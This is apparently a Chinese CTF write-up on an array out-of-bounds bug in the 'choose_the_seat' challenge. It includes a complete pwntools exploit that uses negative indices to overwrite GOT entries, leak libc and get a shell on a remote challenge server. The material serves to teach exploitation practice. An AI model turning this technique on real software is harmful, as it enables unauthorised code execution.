【PWN】数组溢出 越界读写

vstral 最后更新于 20 天前 1 次阅读 预计阅读时间: 3 分钟


一、作用

数组越界读写是一类较为常见的漏洞,造成的原因在于对数组

二、例题分析

choose_the_seat

程序仅仅检查了v0小于9,但是并没有检查输入值v0的正负

seats变量的位置是在bss区,我们可以通过改写got表来劫持控制流

第一次执行main函数

因为vuln函数结尾有一个exit函数,所以可以通过改写exit的got表来使得重复执行main函数来实现多次改写控制,通过计算位置(0x404040 - 0x4040A0) / 16= -96 / 16 = -6

所以可以通过第一次输入-6来控制read函数往exit的got表位置写入main函数的地址。

#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))

第二次执行main函数

第二次运行时候通过与第一次相似的计算可以将seat的地址指向read函数的got地址,然后puts函数就会输出read的地址,接收输出地址即可

#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0') #不能改变read的got地址
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址

#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase  >>>>  " + hex(libcbase))

第三次执行main函数

将binsh写入并且改写puts地址为system函数获得shell

#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()

EXP:

from pwn import *

file = './vuln'
#io = process(file)
io = remote('node5.anna.nssctf.cn',23608)
elf = ELF(file)
context.log_level = 'debug'
libc =  ELF('./libc-2.31.so')

#第一次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-6') #覆盖exitGOT表为main函数使得能够重复执行
io.sendline(p64(0x4012d1))

#第二次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-7') #泄露read的got表地址
io.recvuntil(b'name')
io.send(b'\xc0')
io.recvuntil(b'name is ')
read_got = u64(io.recv(6).ljust(8,b'\x00'))
print("read got >>>> " + hex(read_got)) #输出read got地址

#计算system binsh地址
libcbase = read_got - libc.symbols['read']
system = libcbase + libc.symbols['system']
print("libcbase  >>>>  " + hex(libcbase))

#第三次执行main
io.recvuntil(b'choose one.\n')
io.sendline(b'-9') #覆盖
io.recvuntil(b'name')
io.sendline(b'/bin/sh\x00' + p64(system))
io.interactive()

在这道题过程中一直出了一个问题,一直打不通,经过了很长时间的检查才发现是(io.send(b'\xc0'))这一步一开始写的sendline就会导致多发送一个\n导致read的GOT表被改写,从而导致libcbase计算错误,确实是不细心了